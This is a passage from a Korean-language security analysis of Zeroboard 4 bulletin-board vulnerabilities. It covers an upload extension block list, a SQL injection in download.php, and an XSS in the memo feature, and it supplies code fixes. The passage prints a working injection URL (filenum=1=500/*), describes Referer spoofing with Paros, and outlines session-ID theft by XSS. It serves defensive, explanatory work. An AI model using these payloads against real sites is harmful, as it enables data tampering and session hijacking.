  또, 두 번째 첨부파일을 필터링 하는 부분인 252 라인도 다음과 같이 수정하도록 한다.

if($file2_size>0) {

$s_file_name2=$file2_name;

if(eregi("\.inc",$s_file_name2)||eregi("\.pht",$s_file_name2)||eregi("\.htm",$s_file_name2)||ere

gi("\.shtml",$s_file_name2)||eregi("\.ztx",$s_file_name2)||eregi("\.php",$s_file_name2)||eregi("

\.dot",$s_file_name1)||eregi("\.asp",$s_file_name2)||eregi("\.cgi",$s_file_name2)||eregi("\.pl",

$s_file_name2)) Error("Html, PHP 관련파일은 업로드할수 없습니다");

<변경 전>

if($file2_size>0) {

$s_file_name2=$file2_name;

if(eregi(preg_match("/^\./",$s_file_name1)||"\.inc",$s_file_name2)||eregi("\.pht",$s_file_name

2)||eregi("\.htm",$s_file_name2)||eregi("\.shtml",$s_file_name2)||eregi("\.ztx",$s_file_name2)||

eregi("\.php",$s_file_name2)||eregi("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name2)||eregi

("\.cgi",$s_file_name2)||eregi("\.pl",$s_file_name2)) Error("Html, PHP 관련파일은 업로드할수 

없습니다");

<변경 후>
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11. download.php 의 SQL Injection 취약점

◎ 개요

  download.php 의 SQL Injection 취약점이 노출되어 이를 이용하여 게시물의 다운로드 횟수를 조작할 

수 있다.

◎ 발생 버전

  제로보드 4 Patch Level7 이하

◎ 발생 원인

  - SQL 쿼리문의 일부로 사용되는 $filenum 변수의 조작가능성 존재.

◎ 분석

  download.php 파일의 17 라인 부근을 살펴보도록 하자.

[그림 22] download.php 파일의 17라인 부근

  이 부분은 HTTP GET 방식으로 들어온 $filenum 변수의 값을 이용하여 해당 게시물의 다운로드 횟수

를 올려주는 역할을 한다. 여기서 $filenum 변수는 해당 게시물의 첫 번째 첨부파일인지, 두 번째 첨부

파일인지를 구별하기 위해 사용되는 변수이다.(제로보드에서는 한 게시물 당 첨부파일을 최대 2개까지 

업로드 가능하다.)

  하지만, 이 변수를 필터링할 만한 마땅한 루틴이 존재하지 않기 때문에 공격자는 임의로 SQL 문을 조

작할 수 있다.

  보통 정상적인 경우라면 다음과 같은 SQL 쿼리문을 서버로 전송하게 된다.

update zetyx_board_test set download1=download1+1 where no='5'

update zetyx_board_test set download2=download2+1 where no='5'

  하지만, 다음과 같이 공격자는 $filenum 변수를 조작하는 것만으로 다운로드 횟수를 마음대로 바꿀 수 

있다.

  다음의 URL 주소로 접근해 보도록 하자.
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download.php?id=test&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=

headnum&desc=asc&no=3&filenum=1=500/*

  단, download.php 의 7 라인에는 다음과 같은 코드가 있기 때문에 일반적으로 웹 브라우저의 주소창

에 접근하는 것으로는 접근을 할 수 없다. 첨부파일을 외부에서 무단으로 링크하여 서버의 트래픽을 낭

비하는 것을 막도록 하였기 때문이다.

if(!eregi($HTTP_HOST,$HTTP_REFERER)) die();

  때문에 Paros와 같은 HTTP Header를 조작할 수 있는 툴 등을 활용하여 Referer를 해당 서버의 주소 

값으로 조작하여 접속을 시도하여야 한다.

  위와 같이 접근하면 서버에서 실행되는 SQL 구문은 다음과 같다.

update zetyx_board_test set download1=500/*=download1=500/*+1 where no='3'

  SQL 문에서 /* … */ 기호는 주석의 의미이다.(닫힘 기호가 없어도 정상적으로 적용된다는 것에 주의

하라.) 즉, 위 SQL 문에서 빨간 부분에 해당되는 부분은 인식을 하지 못하므로 결과적으로 이 SQL 문은 

게시판의 모든 게시물들의 첨부파일 1번의 다운로드 횟수를 500으로 바꾸게 될 것이다. 즉, 공격자는 마

음만 먹으면 게시판의 게시물의 다운로드 횟수를 마음대로 조작할 수 있을 것이다.

[그림 23] 게시물의 다운로드 횟수를 조작한 장면

◎ 해결 방안

  문제가 되는 $filenum 변수의 유효성을 검증할 수 있도록 하면 된다. $filenum 변수는 1 또는 2의 값

만 받으면 되므로 그 값이 아닐 경우를 필터링하면 된다.

  download.php 의 17라인 부근($filenum 변수가 생성되기 이전 부분)에 다음과 같은 코드를 추가시켜 

주도록 한다.
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if (!preg_match("/^[1-2]$/", $filenum)) exit;

이 코드를 추가시키면 1 이나 2 이외의 다른 값이 들어오면 PHP의 실행이 중단될 것이다.
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12. 쪽지기능의 XSS(Cross Site Scripting) 취약점

◎ 개요

  제로보드의 쪽지기능에 스크립트 태그를 삽입하여 상대방에게 보내 상대방의 PHP SessionID 값을 알

아낼 수 있는 취약점이다.

◎ 발생 버전

  제로보드 4 Patch Level7 이하

◎ 발생 원인

  - 제로보드 쪽지기능의 HTML 태그가 필터링 되지 않고 그대로 출력됨.

◎ 분석

  제로보드의 쪽지기능에는 XSS 취약점의 존재한다.

  다음과 같은 내용의 쪽지를 작성하여 상대방에게 보내보도록 하자.

[그림 24] 취약점 검사용 코드를 전송하는 장면

  이제 보낸 상대방의 쪽지함에서 이 쪽지를 확인해보면 다음과 같이 스크립트가 실행 가능하다는 것을 

알 수 있다.
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[그림 25] XSS 취약점을 확인한 장면

  XSS 취약점에 대해서는 앞서 5번 문항에서 이미 소개를 한 적이 있으니 더 이상 언급하지는 않도록 

한다.

◎ 해결 방안

  member_memo.php 파일을 다음과 같이 수정해 주도록 한다.

  member_memo.php 파일의 170 라인:

<?=stripslashes($now_data[subject])?></td>

<변경 전>

<?=stripslashes(del_html($now_data[subject]))?></td>

<변경 후>

  member_memo.php 파일의 247 라인:

<?=stripslashes($now_data[subject])?></td>

<변경 전>
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<?=stripslashes(del_html($now_data[subject]))?></td>

<변경 후>

  제로보드에서는 HTML 태그를 HTML 엔터티로 변경하기 위해 del_html() 이라는 함수를 지원하고 있

으므로 이 함수를 이용하여 HTML 태그를 삭제할 수도 있다.


